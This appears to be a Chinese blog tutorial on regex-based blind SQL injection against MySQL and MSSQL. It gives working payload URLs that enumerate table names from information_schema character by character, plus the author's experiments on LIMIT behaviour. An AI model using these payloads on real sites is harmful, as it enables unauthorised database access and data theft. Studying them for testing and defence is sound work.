sql 盲注之正则表达式攻击
—————————————–MYSQL 5+—————————————– 我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的库名,表名以及字段名信息。 故攻击方式如下:
1、判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。 注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内 博主小补充:(下面简写博:) 正则表达式查询结果返回0或1,表示在范围内和不在范围内,与语句之前的1=(……)进行配对,就可以根据页面的返回判断正则表达式的查询结果。
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*2、判断第一个字符是否是a-n中的字符 博:一般也可以先尝试大可能性的表名,或者采用二分法,加速查找.m,n恰好是第一个二分的中间值,任取其一即可。
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*3、确定该字符为n
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*4、表达式的更换如下 博:确定表名的首位字符后,可以逐个去匹配表名的后续几位。 expression like this: ‘^n[a-z]’ -> ‘^ne[a-z]’ -> ‘^new[a-z]’ -> ‘^news[a-z]’ -> FALSE 这时说明表名为news ,要验证是否是该表名。 正则表达式为'^news$',但是没这必要直接判断 table_name = ’news‘ 不就行了。 5、接下来猜解其它表了 博 注意:(只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了)这种想法是错误的!!! regexp匹配的时候会在所有的项(博:所有复合条件的表名)都进行匹配。 例如: security数据库的表有多个,users,email等
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的 select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的 select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的 select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确 select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1此时是对于where table_schema=’security’ limit 0,1。table_schema=’security’已经起到了限定作用了,limit有没有已经不重要了。
博:regexp匹配所有的项,举个栗子来证明:
这里之所以都能查询成功,是因为这个库中有多个表,有的表首字母在a-n,也有的在n-z。
博:我的理解是limit 0,1 限定的是整体的查询结果,符合where table_schema='security' and table_name regexp '^em[a-z]'这两个条件的结果,regexp是对于符合where table_schema='security'这一条件的所有结果进行'^em[a-z]'匹配。 现在我再做一个实验: 数据库中原来有两个表emails、users,现在我新建一个表,名为user。再执行下查询结果试试。 在不加limit 0,1 的情况下: 在加上limit 0,1 的情况下: 使用limit 1,1 情况下: 可以看到limit 0,1和limit 1,1的结果完全一样,但实际查询的东西却不一样。 limit 0,1 是用于对整体的结构进行限制,正则匹配出了两个符合条件的结果,这两个limit一个查询的是user,一个查询的是users。
———————————————–MSSQL————————————————— MSSQL所用的正则表达式并不是标准正则表达式 ,该表达式使用 like关键词
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name LIKE '[a-z]%' )该查询语句中,select top 1是一个组合哦,不要看错了。 如果要查询其它的表名,由于不能像mysql哪样用limit x,1,只能使用 table_name not in (select top x table_name from information_schema.tables) 意义是:表名没有在前x行里,其实查询的就是第x+1行。
例如 查询第二行的表名:
default.asp?id=1 AND 1=(SELECT TOP 1 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" and table_name NOT IN ( SELECT TOP 1 table_name FROM information_schema.tables) and table_name LIKE '[a-z]%' )表达式的顺序: ‘n[a-z]%’ -> ‘ne[a-z]%’ -> ‘new[a-z]%’ -> ‘news[a-z]%’ -> TRUE
之所以表达式 news[a-z]查询后返回正确是因为 %代表0-n个字符,使用”_”则只能代表一个字符。 故确认后续是否还有字符克用如下表达式 'news%' 返回 TRUE->'news_' 返回 FALSE 同理可以用相同的方法获取字段,值。这里就不再详细描述了。
